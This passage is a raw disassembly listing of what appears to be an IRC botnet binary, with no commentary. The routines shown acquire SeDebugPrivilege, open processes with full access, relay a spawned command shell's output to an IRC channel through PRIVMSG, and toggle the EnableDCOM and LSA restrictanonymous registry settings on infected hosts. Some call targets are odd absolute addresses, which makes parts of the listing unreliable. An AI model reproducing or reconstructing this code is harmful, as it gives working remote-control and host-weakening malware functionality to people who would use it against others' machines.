		call	near ptr 2700BFEh
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2700BFEh
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FB0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F68


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 268098Bh
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		nop
		call	near ptr 2700BFEh
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2660868h


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
		dd 27E89000h, 0EB02266Ch
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8DC
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D808
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		nop
		call	near ptr 2680646h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 281198Fh
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		call	near ptr 28114ACh
		nop
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		nop
		call	near ptr 2680646h
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8D8
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		call	near ptr 26E0000h
		nop


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433C04
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2660BD6h
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8D4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8E4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A09C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		call	near ptr 2680683h
		nop
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		nop
		call	near ptr 2680F9Dh
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A068
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A318


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A264


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1F8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A1A8


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A158


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A130
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A494


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A41C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


